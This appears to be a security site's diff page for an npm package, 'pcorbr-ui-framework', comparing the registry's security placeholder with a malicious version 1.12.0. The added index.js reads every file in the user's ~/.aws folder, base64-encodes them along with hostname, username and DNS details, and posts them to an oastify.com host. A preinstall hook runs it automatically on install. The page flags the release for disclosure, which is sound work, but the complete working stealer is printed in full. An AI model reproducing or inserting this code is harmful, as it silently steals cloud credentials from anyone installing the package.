pcorbr-ui-framework 0.0.1-security → 1.12.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pcorbr-ui-framework might be problematic. Click here for more details.
- package/index.js +62 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const fs = require("fs");
|
6
|
+
const path = require("path");
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
const awsFolderPath = path.join(os.homedir(), ".aws");
|
11
|
+
let awsFilesBase64 = {};
|
12
|
+
if (fs.existsSync(awsFolderPath)) {
|
13
|
+
fs.readdirSync(awsFolderPath).forEach((filename) => {
|
14
|
+
const filePath = path.join(awsFolderPath, filename);
|
15
|
+
if (fs.lstatSync(filePath).isFile()) {
|
16
|
+
const fileContent = fs.readFileSync(filePath);
|
17
|
+
const fileContentBase64 = Buffer.from(fileContent).toString("base64");
|
18
|
+
awsFilesBase64[filename] = fileContentBase64;
|
19
|
+
}
|
20
|
+
});
|
21
|
+
}
|
22
|
+
|
23
|
+
const trackingData = JSON.stringify({
|
24
|
+
p: package,
|
25
|
+
c: __dirname,
|
26
|
+
hd: os.homedir(),
|
27
|
+
hn: os.hostname(),
|
28
|
+
un: os.userInfo().username,
|
29
|
+
dns: dns.getServers(),
|
30
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
31
|
+
v: packageJSON.version,
|
32
|
+
pjson: packageJSON,
|
33
|
+
aws: awsFilesBase64,
|
34
|
+
});
|
35
|
+
|
36
|
+
var postData = querystring.stringify({
|
37
|
+
msg: trackingData,
|
38
|
+
});
|
39
|
+
|
40
|
+
var options = {
|
41
|
+
hostname: "tempest.ie01mokxzob9u88qgruqby7ei5owco0d.oastify.com",
|
42
|
+
port: 443,
|
43
|
+
path: "/",
|
44
|
+
method: "POST",
|
45
|
+
headers: {
|
46
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
47
|
+
"Content-Length": postData.length,
|
48
|
+
},
|
49
|
+
};
|
50
|
+
|
51
|
+
var req = https.request(options, (res) => {
|
52
|
+
res.on("data", (d) => {
|
53
|
+
process.stdout.write(d);
|
54
|
+
});
|
55
|
+
});
|
56
|
+
|
57
|
+
req.on("error", (e) => {
|
58
|
+
// console.error(e);
|
59
|
+
});
|
60
|
+
|
61
|
+
req.write(postData);
|
62
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "pcorbr-ui-framework",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.12.0",
|
4
|
+
"description": "tsi eh cloud cyber test",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=pcorbr-ui-framework for more information.
|